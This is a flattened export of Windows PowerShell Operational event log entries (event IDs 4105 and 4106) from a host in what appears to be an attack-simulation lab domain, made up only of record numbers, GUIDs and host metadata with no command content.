410515102150x0675856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 